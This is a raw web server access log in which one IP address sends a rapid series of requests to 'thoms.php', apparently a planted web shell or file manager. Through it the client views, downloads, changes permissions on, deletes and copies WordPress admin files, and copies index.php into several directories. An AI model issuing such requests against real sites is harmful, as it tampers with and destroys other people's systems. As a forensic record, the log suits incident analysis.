45.135.193.11 - - [11/Sep/2026:23:40:22 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=update.php HTTP/1.1" 200 15250 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:22 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=install.php HTTP/1.1" 200 18491 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:22 -0400] "GET /thoms.php?dl=widgets-form-blocks.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=widgets-form-blocks.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:22 -0400] "GET /thoms.php?chmod=link-add.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=link-add.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:22 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=media-new.php HTTP/1.1" 200 13491 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=media-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:23 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:23 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=term.php HTTP/1.1" 200 12947 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:23 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=user-new.php HTTP/1.1" 200 20040 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=user-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:23 -0400] "GET /bestjudy.com.tw/wp-admin/ms-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:23 -0400] "GET /thoms.php?del=includes&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=includes&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:23 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=my-sites.php HTTP/1.1" 200 14123 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=my-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:23 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:23 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin%2Fmaint HTTP/1.1" 200 12687 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin%2Fmaint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:23 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Findex.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Findex.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:23 -0400] "GET /thoms.php?chmod=link-parse-opml.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=link-parse-opml.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:23 -0400] "GET /thoms.php?del=export.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28885 "http://163.245.207.76:443/thoms.php?del=export.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:24 -0400] "GET /thoms.php?chmod=media.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:24 -0400] "GET /thoms.php?dl=options-general.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=options-general.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:24 -0400] "GET /thoms.php?dl=link-manager.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=link-manager.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:24 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fmedia.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fmedia.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:24 -0400] "GET /thoms.php?dl=upgrade-functions.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28922 "http://163.245.207.76:443/thoms.php?dl=upgrade-functions.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:24 -0400] "GET /bestjudy.com.tw/wp-admin/plugin-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:24 -0400] "GET /thoms.php?chmod=ms-admin.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=ms-admin.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:24 -0400] "GET /thoms.php?del=custom-background.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=custom-background.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:24 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=custom-background.php HTTP/1.1" 200 12149 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=custom-background.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:24 -0400] "GET /thoms.php?chmod=options-discussion.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=options-discussion.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:24 -0400] "GET /thoms.php?del=js&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=js&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:24 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fthemes.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fthemes.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:25 -0400] "GET /bestjudy.com.tw/wp-admin HTTP/1.1" 301 795 "http://163.245.207.76:443/bestjudy.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:24 -0400] "GET /bestjudy.com.tw/wp-admin/admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:25 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:25 -0400] "GET /bestjudy.com.tw/wp-admin/ HTTP/1.1" 302 0 "https://163.245.207.76:443/bestjudy.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:25 -0400] "GET /thoms.php?del=edit-form-comment.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=edit-form-comment.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:25 -0400] "GET /thoms.php?del=ms-users.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?del=ms-users.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:25 -0400] "GET /thoms.php?dl=nav-menus.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=nav-menus.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:25 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fplugin-editor.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fplugin-editor.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:25 -0400] "GET /thoms.php?del=options-general.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=options-general.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:25 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fcss&p= HTTP/1.1" 200 12420 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:25 -0400] "GET /thoms.php?chmod=includes&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=includes&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:25 -0400] "GET /bestjudy.com.tw/wp-admin/options-permalink.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:25 -0400] "GET /thoms.php?dl=edit-form-comment.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?dl=edit-form-comment.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:26 -0400] "GET /thoms.php?chmod=edit-form-blocks.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=edit-form-blocks.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:26 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=edit-link-form.php HTTP/1.1" 200 14397 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=edit-link-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:26 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fexport.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fexport.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:26 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=authorize-application.php HTTP/1.1" 200 15632 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=authorize-application.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:26 -0400] "GET /thoms.php?dl=load-styles.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=load-styles.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:26 -0400] "GET /bestjudy.com.tw/wp-admin/link.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:26 -0400] "GET /thoms.php?del=options-writing.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?del=options-writing.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:26 -0400] "GET /bestjudy.com.tw/wp-admin/admin-ajax.php HTTP/1.1" 400 21 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:26 -0400] "GET /thoms.php?dl=privacy.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28918 "http://163.245.207.76:443/thoms.php?dl=privacy.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:26 -0400] "GET /thoms.php?dl=upgrade.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28923 "http://163.245.207.76:443/thoms.php?dl=upgrade.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:26 -0400] "GET /thoms.php?dl=custom-background.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=custom-background.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:27 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fms-delete-site.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Fms-delete-site.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:27 -0400] "GET /thoms.php?del=ms-sites.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?del=ms-sites.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:27 -0400] "GET /thoms.php?dl=my-sites.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=my-sites.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:27 -0400] "GET /thoms.php?del=options-privacy.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28926 "http://163.245.207.76:443/thoms.php?del=options-privacy.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:27 -0400] "GET /thoms.php?dl=widgets-form.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28925 "http://163.245.207.76:443/thoms.php?dl=widgets-form.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:27 -0400] "GET /thoms.php?chmod=edit-form-comment.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=edit-form-comment.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:27 -0400] "GET /thoms.php?chmod=media-new.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=media-new.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:27 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-head.php HTTP/1.1" 200 12284 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options-head.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:27 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options.php HTTP/1.1" 200 17282 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin&view=options.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:27 -0400] "GET /thoms.php?dl=ms-admin.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28924 "http://163.245.207.76:443/thoms.php?dl=ms-admin.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:27 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11432 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin%2Foptions.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Findex.php&p= HTTP/1.1" 200 12410 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Findex.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22679 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:28 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11855 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
